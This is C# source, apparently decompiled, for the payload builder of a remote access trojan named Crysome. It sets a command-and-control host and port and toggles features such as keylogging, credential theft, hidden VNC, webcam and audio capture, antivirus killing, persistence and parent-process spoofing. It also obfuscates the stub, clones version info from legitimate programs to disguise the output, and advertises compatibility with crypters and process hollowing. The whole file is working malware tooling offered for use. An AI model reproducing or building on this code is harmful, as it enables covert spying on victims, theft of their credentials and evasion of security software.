using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; using System.Windows.Input; using Crysome.Obfuscator; using Microsoft.Win32; using Vestris.ResourceLib; using dnlib.DotNet; namespace Crysome.Server.ViewModel; public class BuilderViewModel : ViewModelBase { private const string EmbeddedMarker = "##CRYCFG##"; private const int PaddingChars = 502; private const int TotalChars = 512; private const byte PaddingByteLow = 1; private const byte PaddingByteHigh = 0; private string _ip = "127.0.0.1"; private string _port = "7777"; private string _group = ""; private bool _featPersistence; private bool _featObfuscate; private bool _featCmd = true; private bool _featFile = true; private bool _featDirectLink = true; private bool _featScreenshot = true; private bool _featFileMgr = true; private bool _featProcess = true; private bool _featRestart = true; private bool _featProxy = true; private bool _featDesktop = true; private bool _featHvnc = true; private bool _featCredentials = true; private bool _featKeylogger = true; private bool _featChat = true; private bool _featAudio = true; private bool _featCamera = true; private bool _featSurvival; private bool _featAvKiller; private bool _featProtect; private string _parentSpoof = "None"; private string _stubPath = ""; private string _iconPath = ""; private bool _enableAssemblyEdit; private string _asmTitle = ""; private string _asmDescription = ""; private string _asmCompany = ""; private string _asmProduct = ""; private string _asmCopyright = ""; private string _asmVersion = "1.0.0.0"; private readonly MainViewModel _mainVm; private static readonly Random _rnd = new Random(); public string IP { get { return _ip; } set { _ip = value; OnPropertyChanged("IP"); } } public string Port { get { return _port; } set { _port = value; OnPropertyChanged("Port"); } } public string Group { get { return _group; } set { _group = value; OnPropertyChanged("Group"); } } public bool FeatPersistence { get { return _featPersistence; } set { _featPersistence = value; OnPropertyChanged("FeatPersistence"); } } public bool FeatObfuscate { get { return _featObfuscate; } set { _featObfuscate = value; OnPropertyChanged("FeatObfuscate"); } } public bool FeatCmd { get { return _featCmd; } set { _featCmd = value; OnPropertyChanged("FeatCmd"); } } public bool FeatFile { get { return _featFile; } set { _featFile = value; OnPropertyChanged("FeatFile"); } } public bool FeatDirectLink { get { return _featDirectLink; } set { _featDirectLink = value; OnPropertyChanged("FeatDirectLink"); } } public bool FeatScreenshot { get { return _featScreenshot; } set { _featScreenshot = value; OnPropertyChanged("FeatScreenshot"); } } public bool FeatFileMgr { get { return _featFileMgr; } set { _featFileMgr = value; OnPropertyChanged("FeatFileMgr"); } } public bool FeatProcess { get { return _featProcess; } set { _featProcess = value; OnPropertyChanged("FeatProcess"); } } public bool FeatRestart { get { return _featRestart; } set { _featRestart = value; OnPropertyChanged("FeatRestart"); } } public bool FeatProxy { get { return _featProxy; } set { _featProxy = value; OnPropertyChanged("FeatProxy"); } } public bool FeatDesktop { get { return _featDesktop; } set { _featDesktop = value; OnPropertyChanged("FeatDesktop"); } } public bool FeatHvnc { get { return _featHvnc; } set { _featHvnc = value; OnPropertyChanged("FeatHvnc"); } } public bool FeatCredentials { get { return _featCredentials; } set { _featCredentials = value; OnPropertyChanged("FeatCredentials"); } } public bool FeatKeylogger { get { return _featKeylogger; } set { _featKeylogger = value; OnPropertyChanged("FeatKeylogger"); } } public bool FeatChat { get { return _featChat; } set { _featChat = value; OnPropertyChanged("FeatChat"); } } public bool FeatAudio { get { return _featAudio; } set { _featAudio = value; OnPropertyChanged("FeatAudio"); } } public bool FeatCamera { get { return _featCamera; } set { _featCamera = value; OnPropertyChanged("FeatCamera"); } } public bool FeatSurvival { get { return _featSurvival; } set { _featSurvival = value; OnPropertyChanged("FeatSurvival"); } } public bool FeatAvKiller { get { return _featAvKiller; } set { _featAvKiller = value; OnPropertyChanged("FeatAvKiller"); } } public bool FeatProtect { get { return _featProtect; } set { _featProtect = value; OnPropertyChanged("FeatProtect"); } } public string ParentSpoof { get { return _parentSpoof; } set { _parentSpoof = value ?? "None"; OnPropertyChanged("ParentSpoof"); } } public ObservableCollection ParentSpoofOptions { get; } = new ObservableCollection { "None", "wininit", "explorer", "svchost" }; public ObservableCollection BuildLog { get; set; } = new ObservableCollection(); public ICommand BuildCommand { get; } public ICommand BrowseStubCommand { get; } public ICommand GoBackCommand { get; } public string StubPath { get { return _stubPath; } set { _stubPath = value; OnPropertyChanged("StubPath"); } } public string IconPath { get { return _iconPath; } set { _iconPath = value; OnPropertyChanged("IconPath"); } } public bool EnableAssemblyEdit { get { return _enableAssemblyEdit; } set { _enableAssemblyEdit = value; OnPropertyChanged("EnableAssemblyEdit"); } } public string AsmTitle { get { return _asmTitle; } set { _asmTitle = value; OnPropertyChanged("AsmTitle"); } } public string AsmDescription { get { return _asmDescription; } set { _asmDescription = value; OnPropertyChanged("AsmDescription"); } } public string AsmCompany { get { return _asmCompany; } set { _asmCompany = value; OnPropertyChanged("AsmCompany"); } } public string AsmProduct { get { return _asmProduct; } set { _asmProduct = value; OnPropertyChanged("AsmProduct"); } } public string AsmCopyright { get { return _asmCopyright; } set { _asmCopyright = value; OnPropertyChanged("AsmCopyright"); } } public string AsmVersion { get { return _asmVersion; } set { _asmVersion = value; OnPropertyChanged("AsmVersion"); } } public ICommand BrowseIconCommand { get; } public ICommand CloneAssemblyCommand { get; } public ICommand RandomizeAssemblyCommand { get; } private static string RandomGroupName() { int count = _rnd.Next(6, 11); return "grp_" + new string((from _ in Enumerable.Range(0, count) select "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray()); } public BuilderViewModel(MainViewModel mainVm) { _mainVm = mainVm; Group = RandomGroupName(); BuildCommand = new RelayCommand(delegate { DoBuild(); }); BrowseStubCommand = new RelayCommand(delegate { DoBrowseStub(); }); BrowseIconCommand = new RelayCommand(delegate { DoBrowseIcon(); }); CloneAssemblyCommand = new RelayCommand(delegate { DoCloneAssembly(); }); RandomizeAssemblyCommand = new RelayCommand(delegate { DoRandomizeAssembly(); }); GoBackCommand = new RelayCommand(delegate { _mainVm.GoToClients(); }); string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Crysome.Client.exe"); if (File.Exists(text)) { StubPath = text; } } private void DoBrowseStub() { OpenFileDialog openFileDialog = new OpenFileDialog { Filter = "Executables|*.exe", Title = "Select Crysome.Client.exe" }; if (openFileDialog.ShowDialog() == true) { StubPath = openFileDialog.FileName; } } private void DoBrowseIcon() { OpenFileDialog openFileDialog = new OpenFileDialog { Filter = "Icons|*.ico", Title = "Select Icon" }; if (openFileDialog.ShowDialog() == true) { IconPath = openFileDialog.FileName; } } private void DoCloneAssembly() { OpenFileDialog openFileDialog = new OpenFileDialog { Filter = "Executables|*.exe;*.dll", Title = "Select Assembly to Clone" }; if (openFileDialog.ShowDialog() == true) { try { FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName); AsmTitle = versionInfo.FileDescription ?? ""; AsmDescription = versionInfo.Comments ?? ""; AsmCompany = versionInfo.CompanyName ?? ""; AsmProduct = versionInfo.ProductName ?? ""; AsmCopyright = versionInfo.LegalCopyright ?? ""; AsmVersion = versionInfo.FileVersion ?? "1.0.0.0"; EnableAssemblyEdit = true; Log("Cloned assembly info from: " + Path.GetFileName(openFileDialog.FileName)); } catch (Exception ex) { Log("Error cloning assembly: " + ex.Message); } } } private void DoRandomizeAssembly() { AsmTitle = RandomString(8); AsmDescription = RandomString(12); AsmCompany = RandomString(8); AsmProduct = RandomString(8); AsmCopyright = "Copyright © " + DateTime.Now.Year + " " + AsmCompany; AsmVersion = _rnd.Next(1, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 10) + "." + _rnd.Next(0, 100); EnableAssemblyEdit = true; Log("Randomized assembly info."); } private string RandomString(int len) { return new string((from s in Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", len) select s[_rnd.Next(s.Length)]).ToArray()); } private static int FindBytes(byte[] haystack, byte[] needle, int startIndex = 0) { int num = haystack.Length - needle.Length; for (int i = startIndex; i <= num; i++) { bool flag = true; for (int j = 0; j < needle.Length; j++) { if (haystack[i + j] != needle[j]) { flag = false; break; } } if (flag) { return i; } } return -1; } private void DoBuild() { BuildLog.Clear(); try { if (string.IsNullOrWhiteSpace(IP)) { Log("ERROR: IP is empty."); return; } if (!int.TryParse(Port, out var result) || result < 1 || result > 65535) { Log("ERROR: Port must be 1-65535."); return; } if (string.IsNullOrEmpty(StubPath) || !File.Exists(StubPath)) { Log("ERROR: Select Crysome.Client.exe first."); return; } List list = new List(); if (FeatCmd) { list.Add("cmd"); } if (FeatFile) { list.Add("file"); } if (FeatDirectLink) { list.Add("direct"); } if (FeatScreenshot) { list.Add("screen"); } if (FeatFileMgr) { list.Add("filemgr"); } if (FeatProcess) { list.Add("proc"); } if (FeatRestart) { list.Add("restart"); } if (FeatProxy) { list.Add("proxy"); } if (FeatDesktop) { list.Add("rdp"); } if (FeatHvnc) { list.Add("hvnc"); } if (FeatCredentials) { list.Add("cred"); } if (FeatKeylogger) { list.Add("keylog"); } if (FeatChat) { list.Add("chat"); } if (FeatAudio) { list.Add("audio"); } if (FeatCamera) { list.Add("cam"); } if (FeatSurvival) { list.Add("survival"); } if (FeatAvKiller) { list.Add("avkill"); } if (FeatProtect) { list.Add("protect"); } string text = ((list.Count >= 18) ? "" : string.Join(",", list)); string text2 = (ParentSpoof ?? "").Trim().ToLowerInvariant(); string text3 = ((text2 == "none" || string.IsNullOrEmpty(text2)) ? "" : text2); string text4 = "{\"host\":\"" + EscapeJson(IP.Trim()) + "\",\"port\":\"" + result + "\",\"group\":\"" + EscapeJson((Group ?? "").Trim()) + "\",\"persistence\":\"" + (FeatPersistence ? "true" : "false") + "\"" + (string.IsNullOrEmpty(text) ? "" : (",\"feat\":\"" + EscapeJson(text) + "\"")) + (string.IsNullOrEmpty(text3) ? "" : (",\"parent\":\"" + EscapeJson(text3) + "\"")) + "}"; if (text4.Length > 502) { Log("ERROR: Config JSON too long (" + text4.Length + " chars, max " + 502 + ")."); return; } byte[] bytes = Encoding.Unicode.GetBytes("##CRYCFG##"); byte[] array = new byte[8]; for (int i = 0; i < array.Length; i += 2) { array[i] = 1; array[i + 1] = 0; } byte[] array2 = new byte[bytes.Length + array.Length]; Array.Copy(bytes, 0, array2, 0, bytes.Length); Array.Copy(array, 0, array2, bytes.Length, array.Length); string text5 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Build.exe"); string text6 = StubPath; if (FeatObfuscate) { try { text6 = Path.Combine(Path.GetTempPath(), "crysome_obf_" + Guid.NewGuid().ToString("N") + ".exe"); Log("Obfuscating stub: " + StubPath); CryObfuscator.Obfuscate(StubPath, text6, (Action)Log); if (!File.Exists(text6)) { Log("ERROR: Obfuscation produced no output file. Using non-obfuscated stub."); text6 = StubPath; } else { Log("Obfuscation OK. Patching config into obfuscated file."); } } catch (Exception ex) { Log("ERROR: Obfuscation failed — " + ex.Message); Log(" Using non-obfuscated stub. Build Crysome.Client first, then point Stub to bin\\net472\\Crysome.Client.exe"); text6 = StubPath; } } byte[] array3 = File.ReadAllBytes(text6); if (text6 != StubPath) { try { File.Delete(text6); } catch { } } Log("Loaded: " + array3.Length / 1024 + " KB"); if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath)) { Log("Icon changing requires external library (Vestris.ResourceLib). Skipping for now."); } if (EnableAssemblyEdit) { Log("Assembly Info editing requires external library (Vestris.ResourceLib). Skipping for now."); } int num = FindBytes(array3, array2); if (num < 0) { Log("WARNING: Embedded config placeholder not found. Will append config to tail instead."); } else { Log("Placeholder found at offset 0x" + num.ToString("X8")); byte[] bytes2 = Encoding.Unicode.GetBytes(text4); int num2 = num + bytes.Length; int num3 = 1004; Array.Copy(bytes2, 0, array3, num2, bytes2.Length); for (int j = num2 + bytes2.Length; j < num2 + num3; j++) { array3[j] = 0; } } File.WriteAllBytes(text5, array3); if (!string.IsNullOrEmpty(IconPath) && File.Exists(IconPath)) { try { Log("Injecting icon..."); new IconDirectoryResource(new IconFile(IconPath)).SaveTo(text5); Log("Icon injected successfully."); } catch (Exception ex2) { Log("Icon injection failed: " + ex2.Message); } } if (EnableAssemblyEdit) { try { Log("Updating assembly info (native resources)..."); VersionResource versionResource = new VersionResource(); versionResource.LoadFrom(text5); StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; StringTable stringTable = null; if (stringFileInfo.Strings.Count > 0) { stringTable = stringFileInfo.Strings.Values.First(); } else { stringTable = new StringTable("000004b0"); stringFileInfo.Strings.Add(stringTable.Key, stringTable); } SetVer("FileDescription", AsmTitle); SetVer("Comments", AsmDescription); SetVer("CompanyName", AsmCompany); SetVer("ProductName", AsmProduct); SetVer("LegalCopyright", AsmCopyright); SetVer("FileVersion", AsmVersion); SetVer("ProductVersion", AsmVersion); SetVer("OriginalFilename", Path.GetFileName(text5)); SetVer("InternalName", Path.GetFileNameWithoutExtension(text5)); try { string[] array4 = AsmVersion.Split('.'); if (array4.Length >= 4) { ushort.Parse(array4[0]); ushort.Parse(array4[1]); ushort.Parse(array4[2]); ushort.Parse(array4[3]); versionResource.FileVersion = AsmVersion; versionResource.ProductVersion = AsmVersion; } } catch (Exception ex3) { Log("FixedFileInfo update failed: " + ex3.Message); } versionResource.SaveTo(text5); Log("Assembly info (native) updated."); void SetVer(string key, string val) { try { if (stringTable.Strings.ContainsKey(key)) { stringTable.Strings.Remove(key); } StringTableEntry value = new StringTableEntry(key) { Value = val }; stringTable.Strings.Add(key, value); } catch (Exception ex9) { Log("SetVer failed for " + key + ": " + ex9.Message); } } } catch (Exception ex4) { Log("Assembly info update failed: " + ex4.Message); } try { Log("Updating .NET Assembly Attributes (dnlib)..."); using ModuleDefMD moduleDefMD = ModuleDefMD.Load(text5); AssemblyDef assembly = moduleDefMD.Assembly; if (assembly != null) { assembly.Name = AsmTitle; try { Version version = new Version(AsmVersion); assembly.Version = version; } catch { } moduleDefMD.Write(text5); Log(".NET Assembly attributes updated."); } } catch (Exception ex5) { Log("Warning: .NET attribute update failed or skipped: " + ex5.Message); } } try { using (FileStream fileStream = new FileStream(text5, FileMode.Append, FileAccess.Write, FileShare.Read)) { string s = "##CRYCONFIG##" + text4; byte[] bytes3 = Encoding.UTF8.GetBytes(s); fileStream.Write(bytes3, 0, bytes3.Length); } Log("Tail config appended"); } catch (Exception ex6) { Log("WARNING: Tail config append failed: " + ex6.Message); } long length = new FileInfo(text5).Length; Log("Config patched inside PE metadata (same file size, no resources)"); Log(""); Log("Host: " + IP.Trim()); Log("Port: " + result); Log("Group: " + (Group ?? "").Trim()); Log("Persistence: " + FeatPersistence); Log("Features: " + (string.IsNullOrEmpty(text) ? "all" : text)); if (!string.IsNullOrEmpty(text3)) { Log("Parent spoof: " + text3 + ".exe"); } Log(""); Log("BUILD DONE!"); Log("Output: " + text5); try { string text7 = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data", "inventory_rules.json"); string text8 = Path.Combine(Path.GetDirectoryName(text5) ?? "", "inventory_rules.json"); if (File.Exists(text7) && !string.IsNullOrEmpty(text8)) { File.Copy(text7, text8, overwrite: true); Log("inventory_rules.json copied next to client."); } } catch (Exception ex7) { Log("inventory_rules.json copy: " + ex7.Message); } Log("Size: " + length / 1024 + " KB"); Log(""); Log("Crypt-safe: config is inside PE metadata, not appended or in resources."); Log("Works with process hollowing (msbuild, regasm, etc)."); if (FeatObfuscate) { Log("Tip: For best obfuscation, use Client built without Costura: dotnet build Crysome.Client -p:ObfuscateBuild=true"); } } catch (Exception ex8) { Log("ERROR: " + ex8.Message); } } private static string EscapeJson(string s) { if (string.IsNullOrEmpty(s)) { return ""; } return s.Replace("\\", "\\\\").Replace("\"", "\\\""); } private void Log(string msg) { BuildLog.Add(string.IsNullOrEmpty(msg) ? "" : ("[" + DateTime.Now.ToString("HH:mm:ss") + "] " + msg)); } }